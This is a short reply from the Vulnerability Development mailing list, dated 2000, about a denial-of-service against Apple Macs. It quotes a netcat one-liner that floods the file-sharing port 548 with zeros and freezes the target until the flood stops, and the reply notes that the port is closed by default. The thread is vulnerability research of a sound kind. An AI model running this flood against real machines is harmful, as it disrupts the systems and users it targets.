Vulnerability Development: Re: Apple Mac DoS

["Daniel J. Luke" <dluke () GEEKLAIR NET>]

On Wed, Dec 13, 2000 at 09:54:58AM -0000, The Q wrote:
>   testhost () testhost ]$./nc -v 192.168.1.96 548 < /dev/zero
>
>   caused massive DoS - mouse nonfunctional (important on a mac :o)
>
> of course when you stop the netcat the mac returns to normal after 10-20
> secs
It is probably worthwhile to note, that this port is not open by default (users have to enable file sharing, _and_ 
click the "Also share over TCP/IP" box).

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